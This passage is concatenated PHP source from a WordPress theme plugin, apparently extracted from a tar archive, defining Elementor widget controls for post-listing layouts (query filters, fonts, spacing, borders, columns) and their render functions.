'mobile' ), 'selectors' => array( '{{WRAPPER}} .entry-title' => 'font-size: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'entry_format_size', array( 'label' => esc_html__( 'Entry Format Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::entry_format_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-format' => 'font-size: {{VALUE}}px !important;' ), ) ); $this->add_responsive_control( 'entry_excerpt_size', array( 'label' => esc_html__( 'Entry Excerpt Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::excerpt_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .entry-summary' => 'font-size: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'mobile_meta_section', array( 'label' => esc_html__( 'Responsive - Hide Elements', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'hide_category', array( 'label' => esc_html__( 'Hide Entry Category', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::hide_category_description(), 'options' => Options::hide_dropdown(), 'default' => '0', ) ); $this->add_control( 'tablet_hide_meta', array( 'label' => esc_html__( 'Tablet - Hide Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::tablet_hide_meta_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => esc_html__( 'avatar, author', 'foxiz-core' ), 'multiple' => true, 'default' => array() ) ); $this->add_control( 'mobile_hide_meta', array( 'label' => esc_html__( 'Mobile - Hide Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::mobile_hide_meta_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => esc_html__( 'avatar, author', 'foxiz-core' ), 'multiple' => true, 'default' => array() ) ); $this->add_control( 'hide_excerpt', array( 'label' => esc_html__( 'Hide Excerpt', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::hide_excerpt_description(), 'options' => Options::hide_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'rounded_section', array( 'label' => esc_html__( 'Rounded Corner', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'box_border', array( 'label' => esc_html__( 'Border Radius', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::border_description(), 'selectors' => array( '{{WRAPPER}} .p-wrap' => '--wrap-border: {{VALUE}}px;', ), ) ); $this->end_controls_section(); $this->start_controls_section( 'color_section', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'color_scheme_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::color_scheme_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'color_scheme', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::color_scheme_description(), 'options' => array( '0' => esc_html__( 'Default (Dark Text)', 'foxiz-core' ), '1' => esc_html__( 'Light Text', 'foxiz-core' ) ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_section', array( 'label' => esc_html__( 'Custom Font', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'custom_font_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::custom_font_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Post Title Font', 'foxiz-core' ), 'name' => 'title_font', 'selector' => '{{WRAPPER}} .entry-title', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Entry Category Font', 'foxiz-core' ), 'name' => 'category_font', 'selector' => '{{WRAPPER}} .p-categories', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_columns', array( 'label' => esc_html__( 'Column Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'layout_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'This layout is best suited for putting to all sections, depending on column settings.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'columns', array( 'label' => esc_html__( 'Columns on Desktop', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_description(), 'options' => Options::columns_dropdown( array( 0, 1, 2, 3 ) ), 'default' => '0', ) ); $this->add_control( 'columns_tablet', array( 'label' => esc_html__( 'Columns on Tablet', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_tablet_description(), 'options' => Options::columns_dropdown( array( 0, 1, 2, 3 ) ), 'default' => '0', ) ); $this->add_control( 'columns_mobile', array( 'label' => esc_html__( 'Columns on Mobile', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_mobile_description(), 'options' => Options::columns_dropdown( array( 0, 1, 2 ) ), 'default' => '0', ) ); $this->add_control( 'column_gap', array( 'label' => esc_html__( 'Columns Gap', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::column_gap_description(), 'options' => Options::column_gap_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'column_gap_custom', array( 'label' => esc_html__( '1/2 Custom Gap Value', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::column_gap_custom_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .is-gap-custom' => 'margin-left: -{{VALUE}}px; margin-right: -{{VALUE}}px; --column-gap: {{VALUE}}px;', '{{WRAPPER}} .is-gap-custom .block-inner > *' => 'padding-left: {{VALUE}}px; padding-right: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'spacing_section', array( 'label' => esc_html__( 'Spacing', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_responsive_control( 'el_spacing', array( 'label' => esc_html__( 'Custom Element Spacing', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::el_spacing_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-wrap' => '--el-spacing: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'bottom_margin', array( 'label' => esc_html__( 'Custom Bottom Margin', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::el_margin_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-wrap, {{WRAPPER}} .pagination-wrap' => '--bottom-spacing: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'content_width', array( 'label' => esc_html__( 'Content Max Width', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Input a max width value (in px) for the content of this layout.', 'foxiz-core' ), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-wrap' => '--content-width: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'border_section', array( 'label' => esc_html__( 'Border', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'border_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'The settings below require all responsive column values to be set.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'column_border', array( 'label' => esc_html__( 'Column Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::column_border_description(), 'options' => Options::column_border_dropdown(), 'default' => '0', ) ); $this->add_control( 'bottom_border', array( 'label' => esc_html__( 'Bottom Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::bottom_border_description(), 'options' => Options::column_border_dropdown(), 'default' => '0', ) ); $this->add_control( 'last_bottom_border', array( 'label' => esc_html__( 'Last Bottom Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::last_bottom_border_description(), 'options' => Options::switch_dropdown( false ), 'default' => '1', ) ); $this->end_controls_section(); $this->start_controls_section( 'center_section', array( 'label' => esc_html__( 'Centering', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'center_mode', array( 'label' => esc_html__( 'Centering Content', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::center_mode_description(), 'options' => Options::switch_dropdown(), 'default' => '0' ) ); $this->end_controls_section(); } protected function render() { if ( function_exists( 'foxiz_get_classic_1' ) ) { $settings = $this->get_settings(); $settings['uuid'] = 'uid_' . $this->get_id(); echo \foxiz_get_classic_1( $settings ); } } }elementor/hierarchical-3.php000064400000044071147206624460012046 0ustar00start_controls_section( 'query_filters', array( 'label' => esc_html__( 'Query Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); if ( 'rb-etemplate' === get_post_type() ) { $this->add_control( 'dynamic_query_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::dynamic_query_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'dynamic_query_category_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::dynamic_query_category_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'category', array( 'label' => esc_html__( 'Category Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::category_description(), 'options' => Options::cat_dropdown( true ), 'default' => '0', ) ); } else { $this->add_control( 'category', array( 'label' => esc_html__( 'Category Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::category_description(), 'options' => Options::cat_dropdown(), 'default' => '0', ) ); } $this->add_control( 'categories', array( 'label' => esc_html__( 'Categories Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::categories_description(), 'default' => '', ) ); $this->add_control( 'tags', array( 'label' => esc_html__( 'Tags Slug Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::tags_description(), 'default' => '', ) ); $this->add_control( 'tag_not_in', array( 'label' => esc_html__( 'Exclude Tags Slug', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::tag_not_in_description(), 'default' => '', ) ); $this->add_control( 'format', array( 'label' => esc_html__( 'Post Format', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::format_description(), 'options' => Options::format_dropdown(), 'default' => '0', ) ); $this->add_control( 'author', array( 'label' => esc_html__( 'Author Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::author_description(), 'options' => Options::author_dropdown(), 'default' => '0', ) ); $this->add_control( 'post_not_in', array( 'label' => esc_html__( 'Exclude Post IDs', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::post_not_in_description(), 'default' => '', ) ); $this->add_control( 'post_in', array( 'label' => esc_html__( 'Post IDs Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::post_in_description(), 'default' => '', ) ); $this->add_control( 'order', array( 'label' => esc_html__( 'Sort Order', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::order_description(), 'options' => Options::order_dropdown(), 'default' => 'date_post', ) ); $this->add_control( 'posts_per_page', array( 'label' => esc_html__( 'Number of Posts', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::posts_per_page_description(), 'default' => '5', ) ); $this->add_control( 'offset', array( 'label' => esc_html__( 'Post Offset', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::offset_description(), 'default' => '', ) ); $this->end_controls_section(); $this->start_controls_section( 'unique_section', array( 'label' => esc_html__( 'Unique Post', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'unique', array( 'label' => esc_html__( 'Unique Post', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::unique_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_design', array( 'label' => esc_html__( 'Block Design', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'layout_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'This layout is best suited for putting to the column 50% width', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'crop_size', array( 'label' => esc_html__( 'Featured Image Size', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::crop_size(), 'options' => Options::crop_size_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'display_ratio', array( 'label' => esc_html__( 'Custom Featured Ratio', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'description' => Options::display_ratio_description(), 'selectors' => array( '{{WRAPPER}} .p-featured' => 'padding-bottom: {{VALUE}}%', ), ) ); $this->add_control( 'entry_category', array( 'label' => esc_html__( 'Entry Category', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_category_description(), 'options' => Options::standard_entry_category_dropdown( false ), 'default' => 'bg-1,big', ) ); $this->add_control( 'entry_meta', array( 'label' => esc_html__( 'Entry Meta Tags', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::entry_meta_tags_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => Options::entry_meta_tags_placeholder(), 'default' => 'avatar, author, date' ) ); $this->add_control( 'entry_format', array( 'label' => esc_html__( 'Post Format Icon', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_format_description(), 'options' => Options::entry_format_dropdown( false ), 'default' => '-1', ) ); $this->add_control( 'review', array( 'label' => esc_html__( 'Review Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::review_description(), 'options' => Options::review_dropdown( false ), 'default' => 'replace', ) ); $this->add_control( 'review_meta', array( 'label' => esc_html__( 'Review Meta Description', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::review_meta_description(), 'options' => Options::switch_dropdown( false ), 'default' => '1', ) ); $this->add_control( 'bookmark', array( 'label' => esc_html__( 'Bookmark Icon', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::bookmark_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->add_control( 'excerpt_length', array( 'label' => esc_html__( 'Excerpt - Max Length', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::max_excerpt_description(), 'default' => '', ) ); $this->add_control( 'excerpt_source', array( 'label' => esc_html__( 'Excerpt - Source', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::excerpt_source_description(), 'options' => Options::excerpt_source_dropdown(), 'default' => '0', ) ); $this->add_control( 'readmore', array( 'label' => esc_html__( 'Read More Button', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::readmore_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->add_control( 'sponsor_meta', array( 'label' => esc_html__( 'Sponsored Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::sponsor_meta_description(), 'options' => Options::sponsor_dropdown(false), 'default' => '1', ) ); $this->add_control( 'title_tag', array( 'label' => esc_html__( 'Title HTML Tag', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::heading_html_description(), 'options' => Options::heading_html_dropdown( esc_html__( '- Default -', 'foxiz-core' ) ), 'default' => '0', ) ); $this->add_control( 'sub_title_tag', array( 'label' => esc_html__( 'Secondary Title HTML Tag', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::sub_heading_html_description(), 'options' => Options::heading_html_dropdown( esc_html__( '- Default -', 'foxiz-core' ) ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_size_section', array( 'label' => esc_html__( 'Custom Font Size', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_responsive_control( 'entry_category_size', array( 'label' => esc_html__( 'Entry Category Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::entry_category_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-category' => 'font-size: {{VALUE}}px !important;' ), ) ); $this->add_responsive_control( 'title_tag_size', array( 'label' => esc_html__( 'Title Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::title_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .entry-title' => 'font-size: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'sub_title_tag_size', array( 'label' => esc_html__( 'Secondary Title Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::sub_title_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-list-inline > .entry-title' => 'font-size: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'entry_format_size', array( 'label' => esc_html__( 'Entry Format Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::entry_format_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-format' => 'font-size: {{VALUE}}px !important;' ), ) ); $this->add_responsive_control( 'entry_excerpt_size', array( 'label' => esc_html__( 'Entry Excerpt Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::excerpt_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .entry-summary' => 'font-size: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'mobile_meta_section', array( 'label' => esc_html__( 'Responsive - Hide Elements', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'hide_category', array( 'label' => esc_html__( 'Hide Entry Category', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::hide_category_description(), 'options' => Options::hide_dropdown( false ), 'default' => '0', ) ); $this->add_control( 'tablet_hide_meta', array( 'label' => esc_html__( 'Tablet - Hide Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::tablet_hide_meta_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => esc_html__( 'avatar, author', 'foxiz-core' ), 'multiple' => true, 'default' => array() ) ); $this->add_control( 'mobile_hide_meta', array( 'label' => esc_html__( 'Mobile - Hide Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::mobile_hide_meta_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => esc_html__( 'avatar, author', 'foxiz-core' ), 'multiple' => true, 'default' => array() ) ); $this->add_control( 'hide_excerpt', array( 'label' => esc_html__( 'Hide Excerpt', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::hide_excerpt_description(), 'options' => Options::hide_dropdown( false ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'rounded_section', array( 'label' => esc_html__( 'Rounded Corner', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'box_border', array( 'label' => esc_html__( 'Border Radius', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::border_description(), 'selectors' => array( '{{WRAPPER}}' => '--wrap-border: {{VALUE}}px;', ), ) ); $this->end_controls_section(); $this->start_controls_section( 'font_section', array( 'label' => esc_html__( 'Custom Font', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'custom_font_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::custom_font_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Post Title Font', 'foxiz-core' ), 'name' => 'title_font', 'selector' => '{{WRAPPER}} .entry-title', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Secondary Post Title Font', 'foxiz-core' ), 'name' => 'sub_title_font', 'selector' => '{{WRAPPER}} .p-list-inline > .entry-title', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Entry Category Font', 'foxiz-core' ), 'name' => 'category_font', 'selector' => '{{WRAPPER}} .p-categories', ) ); $this->end_controls_section(); $this->start_controls_section( 'spacing_section', array( 'label' => esc_html__( 'Spacing', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_responsive_control( 'el_spacing', array( 'label' => esc_html__( 'Custom Element Spacing', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::el_spacing_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-content' => '--el-spacing: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'bottom_margin', array( 'label' => esc_html__( 'Custom Bottom Margin', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::el_margin_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .hrc-3 .p-list-inline' => '--bottom-spacing: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'first_bottom_margin', array( 'label' => esc_html__( 'First Post Bottom Margin', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Input custom bottom margin values (px) for the first post.', 'foxiz-core' ), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .hrc-3 .sub-section' => '--bottom-spacing: {{VALUE}}px;' ), ) ); $this->end_controls_section(); } protected function render() { if ( function_exists( 'foxiz_get_hierarchical_3' ) ) { $settings = $this->get_settings(); $settings['uuid'] = 'uid_' . $this->get_id(); echo \foxiz_get_hierarchical_3( $settings ); } } }elementor/hierarchical-1.php000064400000047030147206624460012042 0ustar00start_controls_section( 'query_filters', array( 'label' => esc_html__( 'Query Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); if ( 'rb-etemplate' === get_post_type() ) { $this->add_control( 'dynamic_query_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::dynamic_query_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'dynamic_query_category_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::dynamic_query_category_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'category', array( 'label' => esc_html__( 'Category Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::category_description(), 'options' => Options::cat_dropdown( true ), 'default' => '0', ) ); } else { $this->add_control( 'category', array( 'label' => esc_html__( 'Category Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::category_description(), 'options' => Options::cat_dropdown(), 'default' => '0', ) ); } $this->add_control( 'categories', array( 'label' => esc_html__( 'Categories Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::categories_description(), 'default' => '', ) ); $this->add_control( 'tags', array( 'label' => esc_html__( 'Tags Slug Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::tags_description(), 'default' => '', ) ); $this->add_control( 'tag_not_in', array( 'label' => esc_html__( 'Exclude Tags Slug', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::tag_not_in_description(), 'default' => '', ) ); $this->add_control( 'format', array( 'label' => esc_html__( 'Post Format', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::format_description(), 'options' => Options::format_dropdown(), 'default' => '0', ) ); $this->add_control( 'author', array( 'label' => esc_html__( 'Author Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::author_description(), 'options' => Options::author_dropdown(), 'default' => '0', ) ); $this->add_control( 'post_not_in', array( 'label' => esc_html__( 'Exclude Post IDs', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::post_not_in_description(), 'default' => '', ) ); $this->add_control( 'post_in', array( 'label' => esc_html__( 'Post IDs Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::post_in_description(), 'default' => '', ) ); $this->add_control( 'order', array( 'label' => esc_html__( 'Sort Order', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::order_description(), 'options' => Options::order_dropdown(), 'default' => 'date_post', ) ); $this->add_control( 'posts_per_page', array( 'label' => esc_html__( 'Number of Posts', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::posts_per_page_description(), 'default' => '5', ) ); $this->add_control( 'offset', array( 'label' => esc_html__( 'Post Offset', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::offset_description(), 'default' => '', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_pagination', array( 'label' => esc_html__( 'Ajax Pagination', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'pagination', array( 'label' => esc_html__( 'Pagination Type', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::pagination_description(), 'options' => Options::pagination_dropdown( array( 'load_more', 'infinite_scroll' ) ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'unique_section', array( 'label' => esc_html__( 'Unique Post', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'unique', array( 'label' => esc_html__( 'Unique Post', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::unique_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_design', array( 'label' => esc_html__( 'Block Design', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'layout_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'This layout is best suited for putting to the column from 25% to 50% of the width.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'crop_size', array( 'label' => esc_html__( 'Featured Image Size', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::crop_size(), 'options' => Options::crop_size_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'display_ratio', array( 'label' => esc_html__( 'Custom Featured Ratio', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::display_ratio_description(), 'selectors' => array( '{{WRAPPER}} .p-featured' => 'padding-bottom: {{VALUE}}%', ), ) ); $this->add_control( 'entry_category', array( 'label' => esc_html__( 'Entry Category', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_category_description(), 'options' => Options::standard_entry_category_dropdown( false ), 'default' => 'bg-1', ) ); $this->add_control( 'entry_meta', array( 'label' => esc_html__( 'Entry Meta Tags', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::entry_meta_tags_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => Options::entry_meta_tags_placeholder(), 'default' => 'avatar, author, date' ) ); $this->add_control( 'entry_format', array( 'label' => esc_html__( 'Post Format Icon', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_format_description(), 'options' => Options::entry_format_dropdown( false ), 'default' => '-1', ) ); $this->add_control( 'review', array( 'label' => esc_html__( 'Review Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::review_description(), 'options' => Options::review_dropdown( false ), 'default' => 'replace', ) ); $this->add_control( 'review_meta', array( 'label' => esc_html__( 'Review Meta Description', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::review_meta_description(), 'options' => Options::switch_dropdown( false ), 'default' => '1', ) ); $this->add_control( 'bookmark', array( 'label' => esc_html__( 'Bookmark Icon', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::bookmark_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->add_control( 'excerpt_length', array( 'label' => esc_html__( 'Excerpt - Max Length', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => esc_html__( 'Leave this option blank or set 0 to disable.', 'foxiz-core' ), 'default' => '', ) ); $this->add_control( 'excerpt_source', array( 'label' => esc_html__( 'Excerpt - Source', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::excerpt_source_description(), 'options' => Options::excerpt_source_dropdown(), 'default' => '0', ) ); $this->add_control( 'readmore', array( 'label' => esc_html__( 'Read More Button', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::readmore_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->add_control( 'sponsor_meta', array( 'label' => esc_html__( 'Sponsored Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::sponsor_meta_description(), 'options' => Options::sponsor_dropdown(false), 'default' => '1', ) ); $this->add_control( 'title_tag', array( 'label' => esc_html__( 'Title HTML Tag', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::heading_html_description(), 'options' => 